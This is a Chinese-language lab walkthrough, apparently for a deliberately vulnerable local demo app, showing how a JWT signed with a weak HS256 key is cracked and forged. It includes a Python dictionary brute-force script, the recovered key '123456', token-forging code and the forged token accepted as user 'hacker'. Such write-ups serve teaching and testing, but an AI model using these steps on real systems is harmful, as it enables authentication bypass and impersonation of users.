JWT
应用流程
1、访问 http://localhost:8080/jwt/createToken ,根据当前登录用户生成一个JWT的Token,并且设置到COOKIE中,键值为USER_COOKIE。
2、访问 http://localhost:8080/jwt/getName ,从COOKIE中获取USER_COOKIE的COOKIE值,返回获取到的nickname。
攻击步骤
1、访问 http://localhost:8080/jwt/createToken ,获取头里面的USER_COOKIE值。
得到的token为eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuaWNrbmFtZSI6ImpveWNob3UiLCJleHAiOjE2NjM4MTczNzUsImlhdCI6MTY2MzczMDk3NX0.2tWbNUiah0BCHqni5ePnmvcgY7lN4hm2zw41HKxir1w
2、爆破私钥KEY
利用jwt的decode方法的verify参数,设置为True的情况如果密钥不正确会抛异常。所以只要不抛异常,则爆破成功。
import jwt import sys def main(): token = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuaWNrbmFtZSI6ImpveWNob3UiLCJleHAiOjE2NjM4MTczNzUsImlhdCI6MTY2MzczMDk3NX0.2tWbNUiah0BCHqni5ePnmvcgY7lN4hm2zw41HKxir1w' with open('password_dict.txt', 'r') as f: for key in f.readlines(): key = key.strip() try: jwt.decode(token, algorithms='HS256', verify=True, key=key) print(f'jwt key found: {key}') sys.exit() except Exception as e: pass if __name__ == '__main__': main()
返回
3、生成伪造恶意的JWT Token。
https://jwt.io/ 中解密出的header和payload分别为:
header
{
"typ": "JWT",
"alg": "HS256"
}
payload
{
"nickname": "joychou",
"exp": 1663817375,
"iat": 1663730975
}
构造恶意的JWT Token,将nickname的joychou改为hacker。代码:
import jwt def generate_token(): headers = { "alg": "HS256", "typ": "JWT" } salt = "123456" payload = { "nickname": "hacker", "exp": 1663817375, "iat": 1663730975 } token = jwt.encode(payload=payload, key=salt, algorithm='HS256', headers=headers) return token
恶意伪造的JWT Token为: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuaWNrbmFtZSI6ImhhY2tlciIsImV4cCI6MTY2MzgxNzM3NSwiaWF0IjoxNjYzNzMwOTc1fQ.xlKSHgFToceHYQ9lcYjDB6GxSUMokMYWSKOJIYuauB4
4、将伪造的JWT Token替换USER_COOKIE
访问 http://localhost:8080/jwt/getName ,返回:
Current jwt user is hacker